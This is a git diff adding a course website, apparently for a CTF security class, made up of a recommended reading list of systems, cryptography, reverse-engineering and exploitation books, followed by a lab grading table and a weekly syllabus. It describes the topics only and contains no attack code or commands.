diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 000000000..e69de29bb diff --git a/404.html b/404.html new file mode 100644 index 000000000..984b873a4 --- /dev/null +++ b/404.html @@ -0,0 +1,5621 @@ + + + +
+ + + + + + + + + + + + + + + +Highly recommended! A beginner's guide!
+This book is mainly for CTF beginners, focusing on Linux binary security. The book contains 12 chapters, starting from the bottom of the binary, combined with the source code detailed analysis of common binary security vulnerabilities, mitigation mechanisms and vulnerability exploitation methods, and supplemented with analysis tools and environment building explanation, step by step, so that readers can learn systematically. The book is more continuous and complete in the selection of content and materials, each knowledge point with classic examples, and spend a lot of space to explain, in order to restore the maximum extent of the analysis of ideas and solution process, to achieve the effect of the three.
+ +Read it online: https://firmianay.gitbooks.io/ctf-all-in-one/content/
+GitHub address: https://github.com/firmianay/CTF-All-In-One
+ + + + + + + + +Author: Wu Yanxia / Zhang Guoyin
+This book is a scenario-based in-depth analysis of Android source code, with extensive contents, mainly from the overall structure of Dalvik virtual machine, obtaining and compiling the source code of Dalvik virtual machine, using source code analysis aids, parsing .dex files and Dalvik bytecode format, introducing the system tools under Dalvik virtual machine and executing Dalvik virtual machine. This article is intended to help readers understand the architecture of the Dalvik VM from a macro perspective, and to provide readers interested in reading the source code of the Dalvik VM with the necessary introductory guidance.
+Author: Jonathan Levin (Author)
+Android Internals::A Confectioner's Cookbook is the first time the inner workings of the world's most popular operating system have been documented! Without going into the lengthy code, it presents the logic and flow of Android's various components using detailed illustrations, verbose annotations and hands-on experiments! Volume I takes the power user's point of view - the utilities and functionality accessible through adb shell. In particular, we explore: Partitions and Filesystems The Boot Process Init and its configuration files The native daemons in /system/bin The framework service architecture and servicemanager, Monitoring through Linux interfaces, and of course Security. All versions of Android - up to and including the upcoming Nougat - are covered, with examples taken from the wide gamut of Android Devices - Nexi, Samsung Galaxy S series, NVidia Shield, Amazon Kindle, HTC One M9, and the Android Emulator. This is the first in a multi-volume series, aiming to explore Android down to its last class. Stay tuned for Volume II - The Programmer's View - which picks up where the Power User's View ends, and dives deeper still into the frameworks, input, audio, video and network architecture... wading through the inevitable quagmire of code.
+Author: Luo Shengyang
+In terms of content, this book provides a comprehensive, in-depth and detailed analysis of the Android system source code, including the Linux kernel layer, hardware abstraction layer (HAL), runtime library layer (Runtime), application framework layer (Application Framework) and application layer (Application).
+In terms of organization, this book divides the above contents into three major chapters, namely, the first acquaintance with Android system, Android-specific driver system and Android application framework. The chapter of Android system introduces reference books, basic knowledge and experimental environment construction; the chapter of Android special driver system introduces Logger log driver, Binder inter-process communication driver and Ashmem anonymous shared memory driver; the chapter of Android application framework introduces the framework of Android application in four dimensions: component, process, message and installation. The Android application framework chapter provides an in-depth analysis of the framework of Android applications in four dimensions: components, processes, messages and installation.
+Through the above contents and their organization, this book enables readers to grasp the hierarchy of Android system as a whole and master the key points of each level in detail.
+Author: Zuo Fei
+This book is written from the programming point of view, using C/C++ as the descriptive language and Visual C++ as the formal tool, to explain the mechanisms and knowledge about computer composition principles and computer operating systems hidden behind the code, not only to let the reader know the facts, but also to let the reader know the reasons. This knowledge is then applied to programming practice to help readers write high-quality code that is more suitable for machine optimization. Uncovering the little-known secrets behind the code, specifically, the book discusses a variety of topics including the underlying computer coding, memory and pointers, computer instructions and code systems, the mechanism of function calls, multi-level storage systems, the concept of threads and processes, and code optimization.
+Author: Charles Petzold
+Petzold begins Code by discussing older technologies like Morse code, Braille, and Boolean logic, which he uses to explain vacuum tubes, transistors, and integrated circuits. He noted that "very smart people" had to go down the "dead ends" of mechanical computers and decimal computing before reaching a scalable solution—namely, the electronic, binary computer with a von Neumann architecture. The book also covers more recent developments, including topics like floating point math, operating systems, and ASCII.
+The book focuses on "pre-networked computers" and does not cover concepts like distributed computing because Petzold thought that it would not be as useful for "most people using the Internet", his intended audience. Specifically, he said in an interview that his "main hope" in writing Code was to impart upon his readers a "really good feeling for what a bit is, and how bits are combined to convey information".
+Author: Randal Bryant (Author), David O'Hallaron (Author)
+This book (CS:APP3e) is the third edition of a book that stems from the introductory computer systems course we developed at Carnegie Mellon University, starting in the Fall of 1998, called "Introduction to Computer Systems" (ICS). The presentation is based on the following principles, which aim to help the students become better programmers and to help prepare them for upper-level systems courses:
+Students should be introduced to computer systems from the perspective of a programmer, rather from the more traditional perspective of a system implementer. What does this mean?
+Students should get a view of the complete system, comprising the hardware, operating system, compiler, and network.
+Students learn best by developing and evaluating real programs that run on real machines.
+We cover data representations, machine level representations of C programs, processor architecture, program optimizations, the memory hierarchy, linking, exceptional control flow (exceptions, interrupts, processes, and Unix signals), virtual memory and memory management, system-level I/O, basic network programming, and concurrent programming. These concepts are supported by series of fun and hands-on lab assignments. See the manuscript Preface for more details.
+Author: Lin Xuesen
+In-depth Understanding of Android Kernel Design Ideas" is suitable for Android 4.3 or above. The book starts from the basics of operating system, and comprehensively analyzes the implementation principle of core technologies in Android, such as process/thread, memory management, Binder mechanism, GUI display system, multimedia management, input system and so on. Most of the knowledge points in the book come from engineering project development, so it has strong practicality, and we hope to let readers "know what they know, but also know what they know". The book is divided into 4 chapters and 22 chapters, including compilation, system principle, application principle and system tools, which basically cover the knowledge required to participate in Android development, and guide readers through a large number of pictures and examples, in order to provide readers with a more understandable way of thinking outside the source code analysis as much as possible.
+In-depth Understanding of Android Kernel Design Ideas is suitable for both Android system engineers and application development engineers to read and improve Android development ability. Readers can gain a deeper understanding of the Android system during the subtle learning process of "In-depth Understanding of Android Kernel Design Ideas", and apply the knowledge learned naturally to solve practical development problems.
+Author: Robert Love (Author)
+Linux Kernel Development details the design and implementation of the Linux kernel, presenting the content in a manner that is beneficial to those writing and developing kernel code, as well as to programmers seeking to better understand the operating system and become more efficient and productive in their coding.
+The book details the major subsystems and features of the Linux kernel, including its design, implementation, and interfaces. It covers the Linux kernel with both a practical and theoretical eye, which should appeal to readers with a variety of interests and needs.
+The author, a core kernel developer, shares valuable knowledge and experience on the 2.6 Linux kernel. Specific topics covered include process management, scheduling, time management and timers, the system call interface, memory addressing, memory management, the page cache, the VFS, kernel synchronization, portability concerns, and debugging techniques. This book covers the most interesting features of the Linux 2.6 kernel, including the CFS scheduler, preemptive kernel, block I/O layer, and I/O schedulers.
+The third edition of Linux Kernel Development includes new and updated material throughout the book:
+Author: Jonathan Levin (Author)
+Powering Macs, iPhones, iPads and more, OS X and iOS are becoming ubiquitous. When it comes to documentation, however, much of them are shrouded in mystery. Cocoa and Carbon, the application frameworks, are neatly described, but system programmers find the rest lacking. This indispensable guide illuminates the darkest corners of those systems, starting with an architectural overview, then drilling all the way to the core.
+From architecture to implementation, this book is essential reading if you want to get serious about the internal workings of Mac OS X and iOS.
+Author: Daniel P. Bovet (Author), Marco Cesati (Author)
+In order to thoroughly understand what makes Linux tick and why it works so well on a wide variety of systems, you need to delve deep into the heart of the kernel. The kernel handles all interactions between the CPU and the external world, and determines which programs will share processor time, in what order. It manages limited memory so well that hundreds of processes can share the system efficiently, and expertly organizes data transfers so that the CPU isn't kept waiting any longer than necessary for the relatively slow disks.
+The third edition of Understanding the Linux Kernel takes you on a guided tour of the most significant data structures, algorithms, and programming tricks used in the kernel. Probing beyond superficial features, the authors offer valuable insights to people who want to know how things really work inside their machine. Important Intel-specific features are discussed. Relevant segments of code are dissected line by line. But the book covers more than just the functioning of the code; it explains the theoretical underpinnings of why Linux does things the way it does.
+This edition of the book covers Version 2.6, which has seen significant changes to nearly every kernel subsystem, particularly in the areas of memory management and block devices. The book focuses on the following topics:
+Understanding the Linux Kernel will acquaint you with all the inner workings of Linux, but it's more than just an academic exercise. You'll learn what conditions bring out Linux's best performance, and you'll see how it meets the challenge of providing good system response during process scheduling, file access, and memory management in a wide variety of environments. This book will help you make the most of your Linux system.
+Author: Pavel Yosifovich (Author), Mark Russinovich (Author), David Solomon (Author), Alex Ionescu (Author)
+This book helps you:
+The 7th edition was written by Pavel Yosifovich, Alex Ionescu, Mark Russinovich and David Solomon. New material has been added since the 6th edition (which covered Windows 7 and Windows Server 2008 R2). Since the 7th edition’s part 2 is not yet available, the Windows Internals 6th edition (written by Mark Russinovich, David Solomon and Alex Ionescu) is an invaluable resource on missing topics from the first part of the 7th edition. These include system mechanisms, management mechanisms, networking, file systems, cache management and troubleshooting system crashes.
+This is the seventh edition of a book that was originally called Inside Windows NT (Microsoft Press, 1992), written by Helen Custer (prior to the initial release of Microsoft Windows NT 3.1). Inside Windows NT was the first book ever published about Windows NT and provided key insights into the architecture and design of the system. Inside Windows NT, Second Edition (Microsoft Press, 1998) was written by David Solomon. It updated the original book to cover Windows NT 4.0 and had a greatly increased level of technical depth. Inside Windows 2000, Third Edition (Microsoft Press, 2000) was authored by David Solomon and Mark Russinovich. It added many new topics, such as startup and shutdown, service internals, registry internals, file-system drivers, and networking. It also covered kernel changes in Windows 2000, such as the Windows Driver Model (WDM), Plug and Play, power management, Windows Management Instrumentation (WMI), encryption, the job object, and Terminal Services. Windows Internals, Fourth Edition was the Windows XP and Windows Server 2003 update and added more content focused on helping IT professionals make use of their knowledge of Windows internals, such as using key tools from Windows Sysinternals and analyzing crash dumps.
+Windows Internals, Fifth Edition was the update for Windows Vista and Windows Server 2008. It saw Mark Russinovich move on to a full-time job at Microsoft (where he is now the Azure CTO) and the addition of a new co-author, Alex Ionescu. New content included the image loader, user-mode debugging facility, Advanced Local Procedure Call (ALPC), and Hyper-V. The next release, Windows Internals, Sixth Edition, was fully updated to address the many kernel changes in Windows 7 and Windows Server 2008 R2, with many new hands-on experiments to reflect changes in the tools as well.
+Since this series’ last update, Windows has gone through several releases, coming up to Windows 10 and Windows Server 2016. Windows 10 itself, being the current going-forward name for Windows, has had several releases since its initial Release-to-Manufacturing, or RTM, each labeled with a 4-digit version number indicating year and month of release, such as Windows 10, version 1703 that was completed in March 2017. The above implies that Windows has gone through at least 6 versions since Windows 7. Starting with Windows 8, Microsoft began a process of OS convergence, which is beneficial from a development perspective as well as for the Windows engineering team itself. Windows 8 and Windows Phone 8 had converged kernels, with modern app convergence arriving in Windows 8.1 and Windows Phone 8.1. The convergence story was complete with Windows 10, which runs on desktops/laptops, servers, XBOX One, phones (Windows Mobile 10), HoloLens, and various Internet of Things (IoT) devices. With this grand unification completed, the time was right for a new edition of the series, which could now finally catch up with almost half a decade of changes, in what will now be a more stabilized kernel architecture going forward. As such, this latest book covers aspects of Windows from Windows 8 to Windows 10, version 1703. Additionally, this edition welcomes Pavel Yosifovich as its new co-author.
+Author: Oded Goldreich (Author)
+Cryptography is concerned with the conceptualization, definition and construction of computing systems that address security concerns. This book presents a rigorous and systematic treatment of the foundational issues: defining cryptographic tasks and solving new cryptographic problems using existing tools. It focuses on the basic mathematical tools: computational difficulty (one-way functions), pseudo randomness and zero-knowledge proofs. Rather than describing ad-hoc approaches, this book emphasizes the clarification of fundamental concepts and the demonstration of the feasibility of solving cryptographic problems. It is suitable for use in a graduate course on cryptography and as a reference book for experts.
+Author: [Japanese] Hiroshi Yuki
+This book explains in detail the six most important cryptographic techniques: symmetric ciphers, public key ciphers, one-way hash functions, message authentication codes, digital signatures, and pseudo-random number generators, in the form of diagrams with text.
+Part 1 describes the history of cryptography, symmetric ciphers, grouped cipher patterns (including ECB, CBC, CFB, OFB, CTR), public keys, and hybrid cryptosystems. Part 2 focuses on authentication aspects, covering one-way hash functions, message authentication codes, digital signatures, certificates, etc. Part 3 talks about keys, random numbers, PGP, SSL/TLS, and real-life applications of cryptography.
+Author: Jonathan Katz (Author), Yehuda Lindell (Author)
+Cryptography plays a key role in ensuring the privacy and integrity of data and the security of computer networks. Introduction to Modern Cryptography provides a rigorous yet accessible treatment of modern cryptography, with a focus on formal definitions, precise assumptions, and rigorous proofs.
+The authors introduce the core principles of modern cryptography, including the modern, computational approach to security that overcomes the limitations of perfect secrecy. An extensive treatment of private-key encryption and message authentication follows. The authors also illustrate design principles for block ciphers, such as the Data Encryption Standard (DES) and the Advanced Encryption Standard (AES), and present provably secure constructions of block ciphers from lower-level primitives. The second half of the book focuses on public-key cryptography, beginning with a self-contained introduction to the number theory needed to understand the RSA, Diffie-Hellman, El Gamal, and other cryptosystems. After exploring public-key encryption and digital signatures, the book concludes with a discussion of the random oracle model and its applications.
+Serving as a textbook, a reference, or for self-study, Introduction to Modern Cryptography presents the necessary tools to fully understand this fascinating subject.
+Author: Christof Paar (Author), Jan Pelzl (Author), Bart Preneel (Foreword)
+Cryptography is now ubiquitous – moving beyond the traditional environments, such as government communications and banking systems, we see cryptographic techniques realized in Web browsers, e-mail programs, cell phones, manufacturing systems, embedded software, smart buildings, cars, and even medical implants. Today's designers need a comprehensive understanding of applied cryptography.
+After an introduction to cryptography and data security, the authors explain the main techniques in modern cryptography, with chapters addressing stream ciphers, the Data Encryption Standard (DES) and 3DES, the Advanced Encryption Standard (AES), block ciphers, the RSA cryptosystem, public-key cryptosystems based on the discrete logarithm problem, elliptic-curve cryptography (ECC), digital signatures, hash functions, Message Authentication Codes (MACs), and methods for key establishment, including certificates and public-key infrastructure (PKI). Throughout the book, the authors focus on communicating the essentials and keeping the mathematics to a minimum, and they move quickly from explaining the foundations to describing practical implementations, including recent topics such as lightweight ciphers for RFIDs and mobile devices, and current key-length recommendations.
+The authors have considerable experience teaching applied cryptography to engineering and computer science students and to professionals, and they make extensive use of examples, problems, and chapter reviews, while the book’s website offers slides, projects and links to further resources. This is a suitable textbook for graduate and advanced undergraduate courses and also for self-study by engineers.
+Recommend and be done with it, Nu1L yyds!
+Jingdong buy: https://item.jd.com/12988770.html
+ + + + + + + + +Author: James Kurose (Author), Keith Ross (Author)
+Motivates readers with a top-down, layered approach to computer networking
+Unique among computer networking texts, the Seventh Edition of the popular Computer Networking: A Top Down Approach** builds on the author’s long tradition of teaching this complex subject through a layered approach in a “top-down manner.” The text works its way from the application layer down toward the physical layer, motivating readers by exposing them to important concepts early in their study of networking. Focusing on the Internet and the fundamentally important issues of networking, this text provides an excellent foundation for readers interested in computer science and electrical engineering, without requiring extensive knowledge of programming or mathematics. The Seventh Edition** has been updated to reflect the most important and exciting recent advances in networking.
+Author: Chris Sanders (Author)
+It's easy to capture packets with Wireshark, the world's most popular network sniffer, whether off the wire or from the air. But how do you use those packets to understand what's happening on your network?
+With an expanded discussion of network protocols and 45 completely new scenarios, this extensively revised second edition of the best-selling Practical Packet Analysis will teach you how to make sense of your PCAP data. You'll find new sections on troubleshooting slow networks and packet analysis for security to help you better understand how modern exploits and malware behave at the packet level. Add to this a thorough introduction to the TCP/IP network stack and you're on your way to packet analysis proficiency.
+Learn how to:
+Practical Packet Analysis is a must for any network technician, administrator, or engineer. Stop guessing and start troubleshooting the problems on your network.
+Author: W. Richard Stevens (Author)
+Finally, programmers that need to truly understand the TCP/IP protocol suite have a resource to turn to, TCP/IP Illustrated. Instead of merely describing the RFC's, bestselling author Rich Stevens takes an innovative "visual" approach which, combined with his writing style, results in an accessible "understandable" guide to TCP/IP.
+Author: [Han ] Lee Seung-won +Publisher: People's Post and Telecommunications Publishing House +Original Title: 리버싱 핵심원리 +Translated by: Wu Chuanhai +Publication Year: 2014-4-25 +Pages: 679 +Price: $109.00 +Binding: Paperback +Series: Turing Programming Series +ISBN: 9787115350183
+ +This book provides a very detailed introduction to the core principles of code reversal analysis. The author has worked for many years at the Ahnlab Institute, and the book includes not only the extensive code he has written himself based on this experience, but also a variety of techniques and skills that reverse engineering researchers must understand. This book is a shortcut to the door of reverse engineering, where a thorough understanding and practical mastery of the technique can be extended to many IT-related fields.
+Readers who want to become reverse engineering researchers or developers who are working on reverse development will be greatly helped by this book. Also, those who want to become experts in the security field can easily start from this book.
+ + + + + + + + +Author: Duan Gang +Publisher: Electronic Industry Press +Publisher: Bowen Insights +Year of publication: 2018-10-1 +Pages: 936 +Price: 198 +Binding: Paperback +Series: Security Technology Series +ISBN: 9787121336928
+ +Encryption and Decryption (4th Edition) takes encryption and decryption as the entry point and describes the basic knowledge and skills in the field of software security, such as debugging skills, reverse analysis, cryptographic protection, shell development, and virtual machine design. These knowledge are connected to each other, and readers can easily expand in the areas of vulnerability analysis, secure programming, virus analysis, and software protection after mastering these contents. From the perspective of employment, mastering the technologies related to encryption and decryption can improve one's competitive ability; from the perspective of personal growth, studying software security technologies helps to master some system underlying knowledge and is an important way to enhance professional skills. As a qualified programmer, besides mastering requirement analysis and design patterns, if you can master some knowledge of the underlying system and be familiar with the underlying structure of the whole system, you will benefit a lot in your work.
+Encryption and Decryption (4th Edition) is suitable for security researchers, software debuggers and program developers, and can also be used as a supplementary textbook for information security-related majors in universities.
+ + + + + + + + +作者: Michael Sikorski / Andrew Honig +出版社: No Starch Press +副标题: The Hands-On Guide to Dissecting Malicious Software +出版年: 2012-2 +页数: 760 +定价: $ 67.74 +ISBN: 9781593272906
+ +Malware analysis is big business, and attacks can cost a company dearly. When malware breaches your defenses, you need to act quickly to cure current infections and prevent future ones from occurring. For those who want to stay ahead of the latest malware, Practical Malware Analysis will teach you the tools and techniques used by professional analysts. With this book as your guide, you'll be able to safely analyze, debug, and disassemble any malicious software that comes your way. You'll learn how to: * Set up a safe virtual environment to analyze malware * Quickly extract network signatures and host-based indicators * Use key analysis tools like IDA Pro, OllyDbg, and WinDbg * Overcome malware tricks like obfuscation, anti-disassembly, anti-debugging, and anti-virtual machine techniques * Use your newfound knowledge of Windows internals for malware analysis * Develop a methodology for unpacking malware and get practical experience with five of the most popular packers * Analyze special cases of malware with shellcode, C++, and 64-bit code Hands-on labs throughout the book challenge you to practice and synthesize your skills as you dissect real malware samples, and pages of detailed dissections offer an over-the-shoulder look at how the pros do it. You'll learn how to crack open malware to see how it really works, determine what damage it has done, thoroughly clean your network, and ensure that the malware never comes back. Malware analysis is a cat-and-mouse game with rules that are constantly changing, so make sure you have the fundamentals. Whether you're tasked with securing one network or a thousand networks, or you're making a living as a malware analyst, you'll find what you need to succeed in Practical Malware Analysis.
+Introduction +Chapter 0: Malware Analysis Primer +Part 1: Basic Analysis +Chapter 1: Basic Static Techniques +Chapter 2: Malware Analysis in Virtual Machines +Chapter 3: Basic Dynamic Analysis +Part 2: Advanced Static Analysis +Chapter 4: A Crash Course in x86 Disassembly +Chapter 5: IDA Pro +Chapter 6: Recognizing C Code Constructs in Assembly +Chapter 7: Analyzing Malicious Windows Programs +Part 3: Advanced Dynamic Analysis +Chapter 8: Debugging +Chapter 9: OllyDbg +Chapter 10: Kernel Debugging with WinDbg +Part 4: Malware Functionality +Chapter 11: Malware Behavior +Chapter 12: Covert Malware Launching +Chapter 13: Data Encoding +Chapter 14: Malware-Focused Network Signatures +Part 5: Anti-Reverse-Engineering +Chapter 15: Anti-Disassembly +Chapter 16: Anti-Debugging +Chapter 17: Anti-Virtual Machine Techniques +Chapter 18: Packers and Unpacking +Part 6: Special Topics +Chapter 19: Shellcode Analysis +Chapter 20: C++ Analysis +Chapter 21: 64-Bit Malware +Appendix A: Important Windows Functions +Appendix B: Tools for Malware Analysis +Appendix C: Solutions to Labs
+ + + + + + + + +by Stephen Prata (Author)
+C++ Primer Plus, Sixth Edition
+New C++11 Coverage
+C++ Primer Plus is a carefully crafted, complete tutorial on one of the most significant and widely used programming languages today. An accessible and easy-to-use self-study guide, this book is appropriate for both serious students of programming as well as developers already proficient in other languages.
+The sixth edition of C++ Primer Plus has been updated and expanded to cover the latest developments in C++, including a detailed look at the new C++11 standard.
+Author and educator Stephen Prata has created an introduction to C++ that is instructive, clear, and insightful. Fundamental programming concepts are explained along with details of the C++ language. Many short, practical examples illustrate just one or two concepts at a time, encouraging readers to master new topics by immediately putting them to use.
+Review questions and programming exercises at the end of each chapter help readers zero in on the most critical information and digest the most difficult concepts.
+In C++ Primer Plus, you’ll find depth, breadth, and a variety of teaching techniques and tools to enhance your learning:
+Table of Contents
+1: Getting Started with C++
+2: Setting Out to C++
+3: Dealing with Data
+4: Compound Types
+5: Loops and Relational Expressions
+6: Branching Statements and Logical Operators
+7: Functions: C++’s Programming Modules
+8: Adventures in Functions
+9: Memory Models and Namespaces
+10: Objects and Classes
+11: Working with Classes
+12: Classes and Dynamic Memory Allocation
+13: Class Inheritance
+14: Reusing Code in C++
+15: Friends, Exceptions, and More
+16: The string Class and the Standard Template Library
+17: Input, Output, and Files
+18: The New C++11 Standard
+A Number Bases
+B C++ Reserved Words
+C The ASCII Character Set
+D Operator Precedence
+E Other Operators
+F The stringTemplate Class
+G The Standard Template Library Methods and Functions
+H Selected Readings and Internet Resources
+I Converting to ISO Standard C++
+J Answers to Chapter Reviews
+by Stanley Lippman (Author), Josée Lajoie (Author), Barbara Moo (Author)
+Bestselling Programming Tutorial and Reference Completely Rewritten for the New C11 Standard Fully updated and recast for the newly released C11 standard this authoritative and comprehensive introduction to C will help you to learn the language fast and to use it in modern highly effective ways Highlighting todays best practices the authors show how to use both the core language and its standard library to write efficient readable and powerful code C Primer Fifth Edition introduces the C standard library from the outset drawing on its common functions and facilities to help you write useful programs without first having to master every language detail The books many examples have been revised to use the new language features and demonstrate how to make the best use of them This book is a proven tutorial for those new to C an authoritative discussion of core C concepts and techniques and a valuable resource for experienced programmers especially those eager to see C11 enhancements illuminated Start Fast and Achieve MoreLearn how to use the new C11 language features and the standard library to build robust programs quickly and get comfortable with high-level programming Learn through examples that illuminate todays best coding styles and program design techniques Understand the rationale behind the rules why C11 works as it does Use the extensive crossreferences to help you connect related concepts and insights Benefit from up-to-date learning aids and exercises that emphasize key points help you to avoid pitfalls promote good practices and reinforce what youve learned Access the source code for the extended examples from informit comtitle0321714113 C Primer Fifth Edition features an enhanced layflat binding which allows the book to stay open more easily when placed on a flat surface This special binding method-notable by a small space inside the spine-also increases durability
+by Stephen Prata (Author)
+C Primer Plus is a carefully tested, well-crafted, and complete tutorial on a subject core to programmers and developers. This computer science classic teaches principles of programming, including structured code and top-down design.
+Author and educator Stephen Prata has created an introduction to C that is instructive, clear, and insightful. Fundamental programming concepts are explained along with details of the C language. Many short, practical examples illustrate just one or two concepts at a time, encouraging readers to master new topics by immediately putting them to use.
+Review questions and programming exercises at the end of each chapter bring out the most critical pieces of information and help readers understand and digest the most difficult concepts. A friendly and easy-to-use self-study guide, this book is appropriate for serious students of programming, as well as developers proficient in other languages with a desire to better understand the fundamentals of this core language.
+The sixth edition of this book has been updated and expanded to cover the latest developments in C as well as to take a detailed look at the new C11 standard. In C Primer Plus you’ll find depth, breadth, and a variety of teaching techniques and tools to enhance your learning:
+by Brian W. Kernighan (Author), Dennis M. Ritchie (Author)
+The authors present the complete guide to ANSI standard C language programming. Written by the developers of C, this new version helps readers keep up with the finalized ANSI standard for C while showing how to take advantage of C's rich set of operators, economy of expression, improved control flow, and data structures. The 2/E has been completely rewritten with additional examples and problem sets to clarify the implementation of difficult language constructs. For years, C programmers have let K&R guide them to building well-structured and efficient programs. Now this same help is available to those working with ANSI compilers. Includes detailed coverage of the C language plus the official C language reference manual for at-a-glance help with syntax notation, declarations, ANSI changes, scope rules, and the list goes on and on.
+by Andrew Koenig (Author)
+Even C experts come across problems that require days of debugging to fix. This book helps to prevent such problems by showing how C programmers get themselves into trouble. Each of the book's many examples has trapped a professional programmer.
+by Peter van der Linden (Author)
+This book is for the knowledgeable C programmer, this is a second book that gives the C programmers advanced tips and tricks. This book will help the C programmer reach new heights as a professional. Organized to make it easy for the reader to scan to sections that are relevant to their immediate needs.
+by Kenneth Reek (Author)
+Designed for professionals and advanced students, Pointers On C provides a comprehensive resource for those needing in-depth coverage of the C programming language. An extensive explanation of pointer basics and a thorough exploration of their advanced features allows programmers to incorporate the power of pointers into their C programs. Complete coverage, detailed explanations of C programming idioms, and thorough discussion of advanced topics makes Pointers On C a valuable tutorial and reference for students and professionals alike.
+Author: Wang Qing
+Oday Security: Software Vulnerability Analysis Techniques (2nd Edition), edited by Qing Wang, is divided into five chapters, which systematically and comprehensively introduce the analysis, detection and protection of buffer overflow vulnerabilities in Windows platform. The first chapter is the basic theory and primary technology of vulnerability exploit, which can lead readers to get started quickly; the second chapter, on the basis of the first chapter, combines the cutting-edge achievements of relevant researchers at home and abroad, and summarizes the vulnerability technology from two aspects of attack and defense; the third chapter, from the perspective of security testers, discusses the vulnerability mining methods and ideas of several types of commonly used software; the fourth chapter fills the role of this type of book in The fourth chapter fills the technical gap in the mysterious field of Windows kernel security and related attack and defense knowledge; the fifth chapter uses a large number of Oday case studies to help readers understand the various ideas and methods in the first four chapters. Oday Security: Software Vulnerability Analysis Techniques (2nd Edition) can be used as a reference guide for network security practitioners and hacker enthusiasts, or as a guide for graduate or undergraduate students in network security.
+Author: Enrico Perla B.Sc. Computer Science University of Torino M.Sc. Computer Science Trinity College Dublin (Author), Massimiliano Oldani (Author)
+A Guide to Kernel Exploitation: Attacking the Core discusses the theoretical techniques and approaches needed to develop reliable and effective kernel-level exploits, and applies them to different operating systems, namely, UNIX derivatives, Mac OS X, and Windows. Concepts and tactics are presented categorically so that even when a specifically detailed vulnerability has been patched, the foundational information provided will help hackers in writing a newer, better attack; or help pen testers, auditors, and the like develop a more concrete design and defensive structure. +The book is organized into four parts. Part I introduces the kernel and sets out the theoretical basis on which to build the rest of the book. Part II focuses on different operating systems and describes exploits for them that target various bug classes. Part III on remote kernel exploitation analyzes the effects of the remote scenario and presents new techniques to target remote issues. It includes a step-by-step analysis of the development of a reliable, one-shot, remote exploit for a real vulnerability a bug affecting the SCTP subsystem found in the Linux kernel. Finally, Part IV wraps up the analysis on kernel exploitation and looks at what the future may hold.
+Author: Ari Takanen (Author), Jared D. Demott (Contributor), Charles Miller (Contributor)
+Learn the code cracker's malicious mindset, so you can find worn-size holes in the software you are designing, testing, and building. Fuzzing for Software Security Testing and Quality Assurance takes a weapon from the black-hat arsenal to give you a powerful new tool to build secure, high-quality software. This practical resource helps you add extra protection without adding expense or time to already tight schedules and budgets. The book shows you how to make fuzzing a standard practice that integrates seamlessly with all development activities. This comprehensive reference goes through each phase of software development and points out where testing and auditing can tighten security. It surveys all popular commercial fuzzing tools and explains how to select the right one for a software development project. The book also identifies those cases where commercial tools fall short and when there is a need for building your own fuzzing tools.
+Author: Allen Harper (Author), Shon Harris (Author), Jonathan Ness (Author), Chris Eagle (Author), Gideon Lenkey (Author), Terron Williams (Author)
+THE LATEST STRATEGIES FOR UNCOVERING TODAY'S MOST DEVASTATING ATTACKS Thwart malicious network intrusion by using cutting-edge techniques for finding and fixing security flaws. Fully updated and expanded with nine new chapters, Gray Hat Hacking: The Ethical Hacker's Handbook, Third Edition details the most recent vulnerabilities and remedies along with legal disclosure methods. Learn from the experts how hackers target systems, defeat production schemes, write malicious code, and exploit flaws in Windows and Linux systems. Malware analysis, penetration testing, SCADA, VoIP, and Web security are also covered in this comprehensive resource. Develop and launch exploits using BackTrack and Metasploit Employ physical, social engineering, and insider attack techniques Build Perl, Python, and Ruby scripts that initiate stack buffer overflows Understand and prevent malicious content in Adobe, Office, and multimedia files Detect and block client-s
+Author: Bill Blunden (Author)
+This book demonstrates how to modify a system at runtime to subvert a forensic live response. Readers will learn how to conceal their presence on a server, disable its security policies, sidestep group policy, maintain remote access, and covertly monitor system activity--all with the system administrator being none the wiser.
+Author: 林桠泉
+Vulnerability War: Essentials of Software Vulnerability Analysis" systematically explains various tools, theoretical techniques and practical methods for software vulnerability analysis and exploitation, mainly for Windows and Android platforms. Vulnerability War: Software Vulnerability Analysis Essentials is divided into different types of software vulnerabilities, such as stack overflow, sandbox escape, type obfuscation, UAF, kernel vulnerabilities, etc. It also includes the analysis and exploitation of vulnerabilities on Android platform for the current popular mobile security. Taking carefully selected classic vulnerabilities as examples, we share the analysis techniques and tools of vulnerabilities, and explain in detail the causes, exploitation and repair methods of these vulnerabilities, aiming to "teach to fish". The most important feature of "Vulnerability War: Software Vulnerability Analysis Essentials" is that it uses various types of classical vulnerabilities as practical explanations, abandoning empty-headed theories, and is almost "a book written with a debugger".
+Vulnerability War: Software Vulnerability Analysis Essentials is suitable for undergraduate and graduate students in computer-related fields, information security enthusiasts, software security and mobile security-related security practitioners, software developers and testers, hackers, etc.
+Capture The Flags, or CTFs, are a kind of computer security competition.
+Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.
+Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
+In this guide/wiki/handbook you'll learn the techniques, thought processes, and methodologies you need to succeed in Capture the Flag competitions.
+Topics | +Grade | +
---|---|
Lab1: Forensics | +10 | +
Lab2: Buffer Overflow | +10 | +
Lab3: Web Information Discovery | +10 | +
Lab4: Web Vulnerability Exploit | +10 | +
Lab5: De-compiling Program | +10 | +
Lab6: Attacking WiFi | +10 | +
Lab7: Physical Attacks | +10 | +
Lab8: Social Engineering | +10 | +
Lab9: Privilege Escalation | +10 | +
Lab10: Public Key Crypto Attacking | +10 | +
Lab11: Attacking Websites | +10 | +
Lab12: ROL and ROP | +10 | +
Attack and Defense CTF | +(bonus) 100 | +
CTFs in CS315 Course aims to provide an experimental environment. Instructions of CTF components in CS315 are as follow:
+Date | +Topic | +Content | +File | +
---|---|---|---|
Week 1 | +CTF Introduction and Forensics | +1. Introduce CTF 2. Basic Forensics 3. Network traffic analysis |
+Week 1.md | +
Week 2 | +PWN: Basic Buffer Overflow | +1. Introduce PWN 2. Stack and buffer overflow 3. Return to shellcode |
+Week 2.md Week 2.pdf |
+
Week 3 | +PWN: Advanced Buffer Overflow | +1. Calling conversion 2. Binary security 3. Bypass canary & PIE |
+Week 3.md | +
Week 4 | +WEB: Information Discovery | +1. Passive information gathering 2. Active information gathering |
+Week 4.md | +
Week 5 | +WEB: Vulnerability Exploit | +1. Injection 2. Traversal 3. CSRF & XSS 4. SSRF |
+Week 5.md | +
